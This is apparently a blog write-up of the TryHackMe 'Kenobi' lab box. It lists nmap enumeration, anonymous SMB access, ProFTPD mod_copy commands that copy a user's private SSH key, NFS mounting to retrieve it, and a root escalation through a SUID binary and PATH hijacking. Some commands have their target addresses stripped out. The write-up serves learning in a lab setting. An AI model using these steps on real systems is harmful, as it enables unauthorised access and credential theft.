The force is strong with this one

In our second post we are going to hit the Kenobi box! I’ve slowed down my note taking as I do this box, one thing I find is that it’s hard to sustain action and note taking over a short period of time. In this post we are going to focus on the commands I used to get the data I needed to progress.



To start with we are going to perform some basic enumeration using nmap!

nmap -sS -p- -vvv -O -A -T4 -sC -sV -oA kenobi

Here we notice that there are a range of services open including:

  • SMB
  • HTTP
  • SSH

Now that we have identified the services, we also have looked at the verisons etc. to try and identify if they have any known vulnerabilities.

SMB Enumerate

Seeing TCP 445 open raises a red flag, so we head here and look to enumerate further!

nmap -sS -p 445 -vvv -O -A -T4 -sC -sV -oA kenobi-smb –script=smb-enum-shares.nse,smb-enum-users.nse

We notice from this scan a share is accessible using a NULL auth.

SMBCLient Connect to Share

smbclient //

Press ENTER for a NULL password

Download Share

Now that we can see the share, we can see that there is content in the anonymous share! Let’s go ahead and use the smbget command to download this so that we can analyse it from our attacker machine.

smbget -R smb://

cat log.txt

RPC Enumeration

nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount

ProFTPD 1.3.5

We can see another service running on the host is PROFTPD. We can look here to see if there are any known vulnerabilities in this product (and specifically this version)


We also use searchsploit to search for the product name and specifically the version (It’s a good practise to search for a few combos)

This vulnerability means that unauthenticated clients can execute remote command (RCE) against the service.

PROFTPD includes the following command sets:


SITE CPFR /home/Kenobi/.ssh/id_rsa

Now issue SITE CPTO /var/tmp/id_rsa

nc 21

SITE CPFR /home/kenobi/.ssh/id_rsa

SITE CPTO /var/tmp/id_rsa

What we have done here is move the private key to the /var/tmp/ folder

Now we are going to mount this using NFS

mkdir /mnt/kenobiNFS

mount /mnt/kenobiNFS

ls -la /mnt/kenobiNFS

cp /mnt/kenobiNFS/tmp/id_rsa /pentest/tryhackme/Kenobi

chmod 600 id_rsa

ssh -i id_rsa [email protected]

We are now have gained access to an SSH shell in userland as Kenobi!

Privilede Escalation using Path Variable Manipulation

Search for files with the SUID bit set:

find / -perm -u=s -type f 2>/dev/null

The binary name which is not a LOLbin is /usr/bin/menu

Running string on the binary

We can see here that the binary is running other binaries without a full path. This means this fact, combined with the SUID bit means this binary can be used to execute commands as root.

To abuse this, we can do the following:

#change to the tmp directory

cd /tmp

#copy the bash shell to a file name curl in tmp

echo /bin/sh > curl

#change the permissions using chmod 777 curl

chmod 777 curl

#add /tmp to the $PATH variable

export PATH=/tmp:$PATH


UNIX permissions can seem confusing if you are coming from a Windows background. I found a great little site that outputs permission values to clear readable formats:



Now we are root!

Now we need to get the flag!


Well that again was a good experience. I like the way it walks you through. It would have been better if it had included visit the web services and running common web enumeration etc. (e.g. Nikto etc.)

But overall, I like the platform and I like the way it is going into details about the vulnerabilities and config along the route. It gives you the freedom to explore whilst helping people learn, this is a great capability from a learning platform from my point of view.

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